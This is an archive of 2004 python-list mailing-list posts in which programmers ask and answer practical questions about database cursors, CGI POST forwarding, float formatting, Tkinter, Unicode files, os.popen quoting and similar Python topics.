From aleaxit at yahoo.com  Sat Sep 25 13:47:24 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 19:47:24 +0200
Subject: Python and Sybase
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
	<mailman.3815.1095972439.5135.python-list@python.org>
	<1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com>
	<mailman.3905.1096130202.5135.python-list@python.org>
Message-ID: <1gkopls.g4hts41uwsqauN%aleaxit@yahoo.com>

Josh Close <narshe at gmail.com> wrote:

> On Sat, 25 Sep 2004 01:09:05 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> > ...except that you may need to use different placeholders in SQL strings
> > for parameters to insert (sigh)...
> 
> Forgot about that.... I use sybase for mssql connections, and freetds
> doesn't have support for params, so I forgot about that.

No support for parameters?!  Talk about junk...!-(


Alex


From me at privacy.net  Tue Sep 21 23:17:26 2004
From: me at privacy.net (Richard Hanson)
Date: Tue, 21 Sep 2004 20:17:26 -0700
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
References: <a5415304.0409160644.41adea51@posting.google.com>
	<cicqq7$kra$2@news-reader4.wanadoo.fr>
	<cicsha$prl@odbk17.prod.google.com>
	<cid5as$u3j$1@news-reader2.wanadoo.fr>
	<cc887c1d.0409162041.1433bac1@posting.google.com>
	<pan.2004.09.18.07.53.35.276252@virgilio.it>
	<1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com>
	<slrnckoabl.mb3.mlh@furu.idi.ntnu.no>
	<1gkbphs.l3eo2d1707mysN%aleaxit@yahoo.com>
Message-ID: <rcr1l05n3fk3vt8j1cvvjf8s2r19ek2f8a@4ax.com>

Alex Martelli wrote:

> [...] Or does everybody in the world loathe Windows 
> programming so much they will only do it for financial gain?-)

Or -- financial loss? :-p


loading-RH9-tomorrow'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From rowen at cesmail.net  Wed Sep 22 19:15:19 2004
From: rowen at cesmail.net (Russell E. Owen)
Date: Wed, 22 Sep 2004 16:15:19 -0700
Subject: cross-platform menubar under Tkinter?
Message-ID: <rowen-59D568.16151922092004@gnus01.u.washington.edu>

Tk (and thus Tkinter) seems to offer the basics for making a menu bar 
for an app that looks reasonable on various platforms (Mac, unix, etc.).

However, it's very low-level and before I reinvent the wheel, I wondered 
if anybody had code that already did the basics, such as:
- figure out if one is on Mac, unix or Windows
- add an "about" command to the appropriate menu (which varies depending 
on platform)
- add an Edit menu with Cut/Copy/Paste whose entries actually do the 
right thing.

and if so, whether I could have a look.

Thanks,

-- Russell


From fuzzyman at gmail.com  Wed Sep 22 04:27:42 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 22 Sep 2004 01:27:42 -0700
Subject: POST from a CGI
Message-ID: <6f402501.0409220027.65be4885@posting.google.com>

I'm receiving POST data to a CGI, which I'd like to forward to another
CGI using urllib2.

I have two options -

1) Parse the data using cgi.FieldStorage() and then rebuild the POST
request into a dictionary - including any files (? uploading files by
urllib2 untested and undocumented - examples seem to be for httplib).

2) Read the whole POST data in using sys.stdin.read(), rebuild the
'Content-type' and 'Content-length' headers and make the POST.

Obviously (2) is a *lot* less fiddly and less error prone. *But* I'm
getting 400 errors when I try it (server thinks request is malformed).
I've checked the headers and the body data and they seem normal and I
can't work it out.

I wonder if anyone can see what I'm doing wrong......
(Simple code shown first - then a straightforward example that ought
to work and fails).

MAXUPLOAD  = 10000                                              # set
max file size of 10 000 bytes
txdata = None
if os.environ.get('REQUEST_METHOD','').lower()=='post':         # read
in the POST data from stdin
    txdata = sys.stdin.read(MAXUPLOAD)
    if len(txdata)==MAXUPLOAD and sys.stdin.read(1):
        print overmax 
        sys.exit(1)                                             #
print an error message if too big a file is uploaded


envdict = { 'HTTP_CACHE_CONTROL' : 'Cache-control', 'CONTENT_TYPE' :
'Content-type',
            'HTTP_ACCEPT_LANGUAGE' : 'Accept-language', 'HTTP_ACCEPT'
: 'Accept',
            'HTTP_PRAGMA' : 'Pragma', 'HTTP_CONNECTION' :
'Connection',
            }                                                   #
these are request headers from the browser to the CGI
                                                                # that
we're going to rebuild from the environment variables
defaultuseragent =  'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  
        # default User-agent
txheaders = {}
for envvar, header in envdict.items():                  # go through
the environment variables putting any headers back
    testval = os.environ.get(envvar)
    if testval:
        txheaders[header] = testval
txheaders['User-agent'] = os.environ.get('HTTP_USER_AGENT',
defaultuseragent)   # put in a default user agent if we haven't got
one
if txdata and txheaders.has_key('Content-type'):
txheaders['Content-length'] = str(len(txdata))     # we only need a
'Content-length' header if we have a 'Content-type' one...

theurl = 'http://www.someserver.com/somepath/somepage.html'         #
In actual fact I normally decode the url from the PATH_INFO

req = urllib2.Request(theurl, txdata, txheaders)         # create the
request object
try:
    u = urllib2.urlopen(req)        # fetch a handle on the url !
except IOError, e:
    if not hasattr(e,'code'):
        thecode = 0
    else:
        thecode = e.code
    print 'Content-type: text/html'
    print '<HTML><BODY><H1>Error Code %s</H1></BODY></HTML>' % e.code

info = u.info()         # info about the url
pagetype = info.gettype()
print 'Content-type: ' + pagetype + '\n'
print u.read()          # print the received page

###############################################################

In the code I actually use I make a logfile as well which logs txdata,
txheaders and all the environment variables.

Making a simple post to  my guestbook (
http://www.voidspace.xennos.com/cgi-bin/guestbook.py ) using this
method I get a 400 error.
>From the log I can see the following headers :
(printed using headername, '  :  ', value)

Connection    :    keep-alive
Accept-language    :    en-gb
Pragma    :    no-cache
Cache-control    :    max-age=259200
Content-type    :    application/x-www-form-urlencoded
Content-length    :    62
Accept    :    image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*
User-agent    :    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)


And the following POST data :
name=Fuzzyman&email=&homepage=&location=&comment=CGI+post+test

Which even has a length of 62.... The only thing I can think of is
that the headers are appearing in the wrong order ?
Can anyone else see what I'm doing wrong ?

Regards,


Fuzzy
http://www.voidspace.org.uk/atlantibots/pythonutils.html


From clifford.wells at comcast.net  Wed Sep 29 19:01:59 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Wed, 29 Sep 2004 16:01:59 -0700
Subject: help: pypgsql: this code works in Fedora core 1, Not in FC2
In-Reply-To: <c345ff6f.0409252341.65335c89@posting.google.com>
References: <c345ff6f.0409252341.65335c89@posting.google.com>
Message-ID: <1096498920.31570.34.camel@devilbox.devilnet.internal>

On Sun, 2004-09-26 at 00:41 -0700, J Dubal wrote:
> Hello good people,
> 
> Following works in FC1 (python-2.2.3-7, postgresql-7.3.4-11,
> kernel-2.4.22-1.2194.nptl, pyPgSQL-2.4)
> 
> from pyPgSQL   import PgSQL
> conn  = PgSQL.connect('localhost',database='rop')
> loccur  = conn.cursor()
> loccur.execute("DECLARE itemcursor CURSOR FOR \
>               SELECT * FROM locmf")
> loccur.execute("FETCH ALL FROM itemcursor")
> rec=loccur.fetchall()
> print rec
> 
> However, following errors are produced in FC2 (python-2.3.3-6,
> postgresql-7.4.2-1, kernel-2.6.8-1.521, pyPgSQL-2.4):
> 
> /usr/lib/python2.3/site-packages/pyPgSQL/PgSQL.py:2644: FutureWarning:
> %u/%o/%x/%X of negative int will return a signed string in Python 2.4
> and up
>   name = "PgSQL_%08X" % id(self)
> Traceback (most recent call last):
>   File "tt1.py", line 5, in ?
>     loccur.execute("DECLARE itemcursor CURSOR FOR \
>   File "/usr/lib/python2.3/site-packages/pyPgSQL/PgSQL.py", line 3091,
> in execute
>     self.res = self.conn.conn.query('FETCH 1 FROM "%s"' % self.name)
> libpq.OperationalError: ERROR:  cursor "PgSQL_F6F9906C" does not exist
> 
> Out of this, the first error is produced by conn.cursor() statement.
> 
> We have to use the "declare cursor" statement because we have to use
> "fetch prior" statement later in the program. Is there a better way of
> achiving this?
> 
> Something seems to have changed either python or in postgresql that is
> causing this error. Can someone provide a solution/workaround?

Don't know if anything changed between the versions of the software you
are using, but see

http://www.postgresql.org/docs/current/static/sql-declare.html

particularly the section on "WITH HOLD/WITHOUT HOLD" and the first
paragraph in "Notes".  I'm guessing that perhaps you aren't starting a
new transaction before declaring the cursor and that perhaps pyPgSQL is
autocommitting the DECLARE statement which would result in your declared
cursor going out of scope.  Try adding WITH HOLD or put your stuff
inside of "BEGIN/COMMIT" statements.

Regards,
Cliff

> Thanks in advance.
> J Dubal.
-- 
Cliff Wells <clifford.wells at comcast.net>



From jeff at ccvcorp.com  Fri Sep 24 16:29:58 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Fri, 24 Sep 2004 13:29:58 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
 project.
In-Reply-To: <du7d60bbhah.fsf@amadeus.cc.tut.fi>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<89adnWTWC6JVscncRVn-uw@giganews.com>
	<enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com>
	<du7d60bbhah.fsf@amadeus.cc.tut.fi>
Message-ID: <10l90qcihqrjba1@corp.supernews.com>

Ville Vainio wrote:

>>>>>>"Richard" == Richard Hanson <me at privacy.net> writes:
>>>>>>            
>>>>>>
>
>    Richard> undecidable things left unsaid for now. It is a commonly
>    Richard> accepted thesis that the universe is evolving following
>    Richard> some, possibly ultimately unknowable, immutable set of
>    Richard> laws. Humans *do* seem to do
>
>Is it? For some reason or another, many seem to believe that quantum
>mechanics provides some blissfull exit from the immutable set of laws
>(and deterministic universe). It's a place where God throws dice every
>time a particle hits another.
>  
>

Ah, but quantum mechanics are still a (supposedly) immutable set of laws 
-- they are nondeterministic laws, to be sure, but that doesn't prevent 
them from being laws.  Quantum uncertainty follows a specific set of 
rules, even if we haven't figured out what all of those rules are, and 
even if those rules are expressed in probabilities.  If one were to 
believe that the universe did not follow an immutable (or nearly so) set 
of laws, then one would also necessarily believe that science is 
pointless, since the purpose of science is to try to figure out the laws 
by which the universe operates.  God may throw dice, but if we're 
careful we can reconstruct the rules of the game He's playing.  :)
 
Jeff Shannon
Technician/Programmer
Credit International



From danb_83 at yahoo.com  Fri Sep 24 13:25:13 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 24 Sep 2004 10:25:13 -0700
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ705$4kl$1@panix1.panix.com>
	<mailman.3809.1095967700.5135.python-list@python.org>
	<1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com>
	<7xk6ukw149.fsf@ruckus.brouhaha.com>
	<1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com>
	<7xpt4c3v3w.fsf@ruckus.brouhaha.com>
Message-ID: <ad052e5c.0409240925.50e21e44@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xpt4c3v3w.fsf at ruckus.brouhaha.com>...
> aleaxit at yahoo.com (Alex Martelli) writes:
> > yep, str(35.72) == '35.72'.
> 
> Hmm.
> 
>     >>> 35.72
>     35.719999999999999
> 
> I wonder why str(35.72) is different from repr(35.72).

Because str and repr have different purposes.

repr(x) is meant to provide enough information to re-create x, so all
float values must be distinguished from each other.   This requires at
least 17 significant digits, so repr(x) == '%.17g' % x.

str(x), however, is meant to return a "nice" string representation,
and so it only uses '%.12g' % x (ignoring 5 "noise" digits at the end
of repr(x)).


From aleaxit at yahoo.com  Sat Sep  4 05:00:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 11:00:29 +0200
Subject: namespace question
References: <OAFZc.303096$gE.251089@pd7tw3no>
	<mailman.2771.1094136818.5135.python-list@python.org>
	<hMSZc.304491$J06.262979@pd7tw2no>
Message-ID: <1gjjyxr.1swyyfqqdcxr0N%aleaxit@yahoo.com>

Elaine Jackson <elainejackson7355 at home.com> wrote:

> It's what I want in the sense that it returns the correct dictionary when
> globals is invoked interactively. What I want is to have a function that
> can be
> imported into the interpreter and that will return that same dictionary.

so what's wrong with:

def main_dictionary():
    import __main__
    return vars(__main__)


???


From piet at cs.uu.nl  Tue Sep 28 06:58:23 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: Tue, 28 Sep 2004 12:58:23 +0200
Subject: floating point glitch
References: <415295E6.9040602@ericsson.com>
	<l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com>
	<cj5v5i$7vk$1@pegasus.csx.cam.ac.uk>
	<7xhdple624.fsf@ruckus.brouhaha.com>
	<kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com>
	<m2lleusrgo.fsf@mycroft.actrix.gen.nz>
	<7xis9yoilc.fsf@ruckus.brouhaha.com> <wz3c12k9hv.fsf@ordesa.cs.uu.nl>
	<7xr7omg113.fsf@ruckus.brouhaha.com>
Message-ID: <wzekkmlkxc.fsf@ordesa.cs.uu.nl>

>>>>> Paul Rubin <http://phr.cx at NOSPAM.invalid> (PR) wrote:

PR> Piet van Oostrum <piet at cs.uu.nl> writes:
PR> Nah, you can do that by printing everything as zero.
>> 
>> That would not maintain print/read consistency, i.e. if you read back the
>> printed value you don't get the original value.

PR> The current conversion doesn't have that property.

>>>> a=.66+1e-13
>>>> print a
PR>     0.66
>>>> b=0.66
>>>> a==b
PR>     False

That's because print uses str rather than repr:

>>> a=.66+1e-13
>>> a
0.66000000000010006
>>> print `a`
0.66000000000010006
>>> b=0.66000000000010006
>>> a==b
True

-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From danperl at rogers.com  Tue Sep 28 16:43:19 2004
From: danperl at rogers.com (Dan Perl)
Date: Tue, 28 Sep 2004 16:43:19 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
	<mfydnUd5Idex1srcRVn-pQ@rogers.com>
	<tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
	<kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com>
	<efidneft_NO8p8XcRVn-tQ@rogers.com>
	<mailman.3996.1096354841.5135.python-list@python.org>
	<Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <87mzzakuqr.fsf@pobox.com>
Message-ID: <UOKdnec4de52UcTcRVn-oA@rogers.com>


"John J. Lee" <jjl at pobox.com> wrote in message 
news:87mzzakuqr.fsf at pobox.com...
> "Dan Perl" <danperl at rogers.com> writes:
>> My "nagging" on the false positives is mostly on the spin that Wingware 
>> puts
>> in their explanations.  It's one thing to explain it the way that Stephan
>> did, that it was better to offer something imperfect if that was also
>> providing some important advantages and then also offer the other
>> alternative ("We weighed having a necessarily imperfect but useful 
>> feature
>> with not having the feature at all.").  And it's another thing to insist
>> that this is not a problem and it is actually good for you.  This doesn't
>> seem to bother other people as much as it bothered me, but I do have a 
>> beef
>> with it.
>
> Dan, I suspect that (though perhaps their marketing may have room for
> improvement here ;-) there may have been an unstated assumption on the
> part of the Wing IDE people that, "obviously", the false-positives
> issue is only a "nit" if one has a hard debugging problem on one's
> hands, and that "obviously", one turns this feature off under all
> other circumstances.  Not necessarily obvious at all, of course.
>
> Perhaps, like many of the rest of us, they only wheel out their
> debugger when they hit a really *nasty* problem, so the exception
> issue simply never arises as anything other than a minor wart in what
> I can see could be a very handy feature.  That would explain why this
> feature is on by default.  Another explanation is that it's turned on
> by default just to advertise the feature -- if you don't bump into it
> like this, you might never realise it existed.

If Stephan is still reading this thread he may contradict this, but my 
suspicion is that your last explanation is the real one.  Such an approach 
can also backfire like it did in my case.

> John 




From bdesth.quelquechose at free.quelquepart.fr  Fri Sep 24 05:23:45 2004
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Fri, 24 Sep 2004 11:23:45 +0200
Subject: good way to do side effects on lists?
In-Reply-To: <44qdnTS-mqa0wM7cRVn-rg@giganews.com>
References: <415208a1$1_4@news3.es.net> <cit221$a33$1@pegasus.csx.cam.ac.uk>
	<85bc2819.0409230702.2a5c4ab5@posting.google.com>
	<4153315a$0$17453$636a15ce@news.free.fr>
	<44qdnTS-mqa0wM7cRVn-rg@giganews.com>
Message-ID: <4153df0a$0$9203$626a14ce@news.free.fr>

Istvan Albert wrote:
> bruno modulix wrote:
> 
>> Dont assume, test !-)
> 
> 
> Here is what I get running the script normally:
> 
> [1.4226769044669085, 1.3523785844290266, 1.3683993356697575]
> [1.267016338668741, 1.2757789048608128, 1.2636061287118894]

For the record, which Python version ?




From desiredusername at gmail.com  Sat Sep 25 10:05:15 2004
From: desiredusername at gmail.com (PhysicsGenius)
Date: 25 Sep 2004 07:05:15 -0700
Subject: Clickable (wx)python app in OS X
Message-ID: <26658f61.0409250605.32f18ba2@posting.google.com>

AAAAARRRRRRRRGGHGHGHGHGHGHGHGHGH!!!!!!  I hate Macs.

I have a wxPython program.  It runs fine on OS X when I launch it from
the Terminal ("pythonw appname.py") .  The user wants to be able to
click it.  Two main suggestions on the Internet, neither of which
works:

1) "Use Platypus"  So I download it, upgrade Stuffit, install both,
figure out how to use it, create an app....and it doesn't work for
graphical apps.  Nice to know, thanks for telling me ahead of time!

2) "Just associate .py files with PythonInterpreter".  Sounds easy! 
So I navigate to appname.py, Get Info, Open With, navigate to
PythonInterpreter....WhereTF is "PythonInterpreter"?  Not on the OS X
system anywhere and Google only finds a Python module.

So, how do I create a clickable icon that will launch my wxPython
program?


From cbfalconer at yahoo.com  Tue Sep  7 15:42:46 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Tue, 07 Sep 2004 19:42:46 GMT
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no>
	<413daee5$0$6932$61fed72c@news.rcn.com>
	<p0nkhc.m6j.ln@via.reistad.priv.no>
Message-ID: <413E07BA.F797BD3B@yahoo.com>

Morten Reistad wrote:
> <jmfbahciv at aol.com> wrote:
>> Morten Reistad <firstname at lastname.pr1v.n0> wrote:
>
... snip ...
>>>
>>> TCP/IP was launched in 1982, and the Internet (or the Arpanet,
>>> rather) converted Jan 1st 1983; with final NCP service turned
>>> off everywhere by mid march 1983.
>>
>> Aha!  Whew!  Then my memory isn't completely gone.  If it was
>> launched in 1982, then they had to have been yakking about it
>> in 1980 and 1981.
> 
> The period 1978-1982 was the intense design phase of the
> infrastructure of the modern Internet. It would have been on
> the mind of IT engineers worldwide.

Back in those days (early 70s) we hired a consultant for some of
our software development, both because I was overloaded and
because I didn't know enough.  He was Gerry Ogdin, out of the
Washington area, and active in the development of the Arpanet.

I learned a good deal from him, and managed to largely ignore his
irascibility etc.  That may have been connected with the fact that
he later (so I have been told) underwent a sex change operation
and became Geraldine.

I wonder what became of him/her.

-- 
"I'm a war president.  I make decisions here in the Oval Office
 in foreign policy matters with war on my mind." -         Bush.
"If I knew then what I know today, I would still have invaded
 Iraq. It was the right decision" -       G.W. Bush, 2004-08-02




From s4046441 at student.uq.edu.au  Thu Sep 30 15:03:05 2004
From: s4046441 at student.uq.edu.au (Shufen)
Date: 30 Sep 2004 12:03:05 -0700
Subject: How can I code to get more than One value from checkbox?
Message-ID: <d3502feb.0409301103.2a39e53a@posting.google.com>

Hi,

I'm a newbie that just started to learn python, html and etc. I have
some questions to ask and hope that someone can help me on.

I'm trying to code a python script (with HTML) to get values from a
html form that consists of about 10 checkbox and a textbox where user
have to key in a value to perform a search.

>From python tutors, I learned that I have to use the following method:

###
qtype = data.getfirst('qtype')       ---- checkbox name
qtext = data.getfirst('qtext', '')   ---- textbox name
###

but I don't really know how to do it. Should I use qtype =
data.getlist('qtype') to get the value from the checkbox and how to?


Currently, my method required me to type in every possible combination
of the checkbox and I know that this is wrong. I wanna to include
%(qtype) in my query statement so that the script will look for the
value that contain qtype everytime a form is processs but the way I'm
doing now is wrong.

query = "select %(qtype)s from shot_descriptions where
shot_number=%(qtext)s", qtype, qtext


Thus, can someone help me on this.

Thank you for any help.

Shufen


From steven.bethard at gmail.com  Wed Sep 15 02:40:42 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 15 Sep 2004 06:40:42 +0000 (UTC)
Subject: i am going to get crazy!!!
References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>
	<1095228220.28128.71.camel@devilbox.devilnet.internal>
Message-ID: <loom.20040915T083759-964@post.gmane.org>

Cliff Wells <clifford.wells <at> comcast.net> writes:
> 
> I don't know if this is any good, but since you like Eclipse:
> 
> http://sourceforge.net/projects/pyeclipse/

Actually, if you like Eclipse, I'd suggest pydev:

http://pydev.sourceforge.net/

It's actually still updated from time to time (last in July of this year), and 
I've played around with it a little back when I had to write in Java (ugh!) 
and it did integrate pretty well with Eclipse.  If I remember right though, it 
doesn't use the code-completion that all the wxPython based apps do...

Steve




From my.spamtrap at verizon.net  Tue Sep  7 00:44:03 2004
From: my.spamtrap at verizon.net (Roland Hutchinson)
Date: Tue, 07 Sep 2004 00:44:03 -0400
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413af268$0$19706$61fed72c@news.rcn.com>
	<rv1hhc.mtv2.ln@via.reistad.priv.no>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no>
	<opsdxecgt8pqzri1@mjolner.upc.no>
	<Pine.LNX.4.61.0409062355010.20478@ppepc56.ph.gla.ac.uk>
Message-ID: <2q4skjFrb6p1U1@uni-berlin.de>

In article <Pine.LNX.4.61.0409062355010.20478 at ppepc56.ph.gla.ac.uk> on
Monday 06 September 2004 18:55, Alan J. Flavell wrote:

> On Tue, 7 Sep 2004, John Thingstad wrote:
> 
>> It was the realization of www (CERN) that spawned the movement toward the
>> Internet.
> 
> Eh?

A simple case of cart/horse inversion, methinks.

-- 
Roland Hutchinson              Will play viola da gamba for food.

NB mail to my.spamtrap [at] verizon.net is heavily filtered to
remove spam.  If your message looks like spam I may not see it.


From miki.tebeka at zoran.com  Wed Sep  1 07:11:54 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: Wed, 1 Sep 2004 13:11:54 +0200
Subject: generic tokenizer
In-Reply-To: <6t3Zc.37294$A8.12593@edtnps89>
References: <6t3Zc.37294$A8.12593@edtnps89>
Message-ID: <20040901111154.GW2116@zoran.com>

Hello Angus,

> I remember python having a generic tokenizer in the library. all I want 
> is to set a list of token seperators and then read tokens out of a 
> stream, the token seperators should be returned as themselves.
> 
> is there anything like this?
There are external lex/yacc like packages (like PLY
http://systems.cs.uchicago.edu/ply/). But maybe you're talking about shlex
(http://www.python.org/dev/doc/devel/lib/module-shlex.html)

HTH.
--
------------------------------------------------------------------------
Miki Tebeka <miki.tebeka at zoran.com>
http://tebeka.spymac.net
The only difference between children and adults is the price of the toys


From matt.torment at gmail.com  Mon Sep 13 23:06:26 2004
From: matt.torment at gmail.com (Matthew K Jensen)
Date: 13 Sep 2004 20:06:26 -0700
Subject: yet another os.popen quesion
Message-ID: <a8dfce8c.0409131906.fc42dc8@posting.google.com>

I've been trying to find a way to detect when a command run by
os.popen (or similar) has completed (in Windows, btw). I found such a
function (i don't remember the exact name and library), but the said
function was only availible for UNIX, for which I am not currently
making programs for (but soon plan to). Any ideas?

-Matt K. Jensen


From nytimes at swiftdsl.com.au  Fri Sep 17 12:13:19 2004
From: nytimes at swiftdsl.com.au (huy)
Date: Sat, 18 Sep 2004 02:13:19 +1000
Subject: Python Webstart ?
In-Reply-To: <mailman.3460.1095435595.5135.python-list@python.org>
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<mailman.3460.1095435595.5135.python-list@python.org>
Message-ID: <414b0d22$0$2414$61ce578d@news.syd.swiftdsl.com.au>

Carlos Ribeiro wrote:
> On Fri, 17 Sep 2004 21:43:04 +1000, huy <nytimes at swiftdsl.com.au> wrote:
> 
>>Hi,
>>
>>Just wondering if there were any plans (or existing projects) similar to
>>Java webstart for Python. I think this would be a boon for python. I
>>would love to start my new project using Python but the deployment (and
>>long term upgrading) factor is a major itch which pyfreeze and py2exe
>>just doesn't scratch properly.
> 
> 
> I sincerely don't understand why a Python Webstart would be more
> useful than pyfreeze and py2exe. If you're talking about some way for
> people to test your application without the need to install it, I can
> get it, but still I don't think that it's worth it. Remember -- the
> JVM is a near standard part of modern browsers, so it's relatively
> safe to assume that a lot of people (those using modern GUI browsers)
> will be able to test your program. But the Python VM is not designed
> to work like that; in the end, the user still would need to download
> some client library (a PyVM-plugin for browsers of sorts), which
> pretty much defeats the point of the Python Webstart.

Well not really. I don't mind doing one installation of a (Python/Java) 
webstart. However, it's the automatic update of the actual application 
software which I find most useful. The alternative using p2exe or 
pyfreeze will require me to distribute the (potentially large) binaries 
manually. For hundreds of terminals, this is not gonna be good, 
especially in an iterative environment.

> If you *really* want to program in Python and have it working with
> Webstart, why not do it using Jython? Once compiled, a Jython program
> is undistinguishable from a Java app -- both are meant to run under
> the JVM. I don't know if anyone did it before, but running Jython
> programs as Webstart applications should be possible, if not
> automatic.

That's an option but I don't quite trust using jython for a full blown 
application. I use it mainly for unittesting at the moment.

Thanks for the feedback,

Huy



From martin at v.loewis.de  Tue Sep 21 14:40:09 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 21 Sep 2004 20:40:09 +0200
Subject: Help needed: Unicode and file format problem
In-Reply-To: <41506e20$0$19027$39db0f71@news.song.fi>
References: <41506e20$0$19027$39db0f71@news.song.fi>
Message-ID: <41507589$0$24809$9b622d9e@news.freenet.de>

Pekka Niiranen wrote:
> In other words I have to open target file like this:
> fileObj = codecs.open( "File_to_be_modified", "w", "utf-8" )
> and then run Unicode regular expression to it, where read
> replacements are bytes that must be written out as UTF-8 strings.

You need to read the file into a unicode string, perform the
replacement, then write it back out as UTF-8. Something like this:

infile = codecs.open( "File_to_be_read", "r", "utf-8" )
outfile = codecs.open( "File_to_be_written", "w", "utf-8" )

regexp = re.compile("some_expression", re.U)
for line in infile.readlines():
     line = regexp.sub(new_text, line)
     outfile.write(line)

HTH,
Martin


From nick at craig-wood.com  Wed Sep 29 11:30:21 2004
From: nick at craig-wood.com (Nick Craig-Wood)
Date: 29 Sep 2004 15:30:21 GMT
Subject: Avoiding shell metacharacters in os.popen
Message-ID: <slrncllk2p.m4f.nick@irishsea.home.craig-wood.com>

I'm trying to avoid using shell metacharacters in os.popen in a portable
fashion.

os.popen() only seems to take a string as the command which would need
tricky quoting.

os.popen2() can take a string or a list - the relevant code in Unix
python (in popen2.py) being...

    def _run_child(self, cmd):
        if isinstance(cmd, basestring):
            cmd = ['/bin/sh', '-c', cmd]
        for i in range(3, MAXFD):
            try:
                os.close(i)
            except OSError:
                pass
        try:
            os.execvp(cmd[0], cmd)
        finally:
            os._exit(1)

This is perfect behaviour as far as I'm concerned - if you pass a list
it doesn't go through the shell and if you pass a string it does.

eg

  w, r = os.popen2(["ls", "-l"])
  r.read()

This leads on to my questions :-

1) is this behaviour (string vs list) of popen2 intentional?  Its not
documented anywhere and it doesn't work under Windows (gives
"TypeError: popen2() argument 1 must be string, not list")

2) is there anything similar for os.popen() planned?

3) is there an equivalent to the perl quotemeta() command.  This
quotes meta-characters in a string for use in the shell.  Here is a
suitable definition for Unix, but I don't think that \ quoting works
in Windows

   cmd = re.sub(r"(\W)", r"\\\1", cmd)

Avoiding shell metacharacter attacks is a must for secure programs.
Python does pretty well with its os.exec* and os.spawn* functions, but
seems to be lacking in the os.popen* department!

Any insights appreciated!

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From jerf at jerf.org  Sun Sep 19 22:07:43 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Mon, 20 Sep 2004 02:07:43 GMT
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
Message-ID: <pan.2004.09.20.23.16.13.458066@jerf.org>

On Sun, 19 Sep 2004 21:13:39 -0400, julio wrote:

> But why so much resistence to the change ? 

Why do you care? 

Are you being paid to care?

If people come up with good answers to your questions, will you devote
your personal time to helping implement them?

In light of the fact the answer to that is almost certainly "no", why
should we care what you think?

Do you think the answers to these questions have more to do with your cool
reception then "resistance to change"?

Let me help you with that one: Yes.

I have to say, from my point of view, you are advocating moving
*backwards*. You will interpret that as resistance to change. I feel I
must invoke the parable of Blub here:

http://www.paulgraham.com/avg.html

C# is your Blub.



From nicksjacobson at yahoo.com  Fri Sep 10 18:04:08 2004
From: nicksjacobson at yahoo.com (Nick Jacobson)
Date: 10 Sep 2004 15:04:08 -0700
Subject: A bug with file.tell()?
References: <f8097096.0409092043.3760d72a@posting.google.com>
	<zsc0d.2572$xA1.2297@newsread3.news.pas.earthlink.net>
Message-ID: <f8097096.0409101404.27b6dfdc@posting.google.com>

> 
> That means the underlying file handle is at
> the end and everything remaining is in memory.
> 

Thanks a lot for the reply, it explains the problem very well.

But not allowing "for line in file" and read(), tell(), etc. together
still seems like a bug to me.  And it's true that it's documented, but
the problem is buried in the documentation under next(), which is not
directly called!

Here's one idea: Have functions read(), tell(), etc. use the
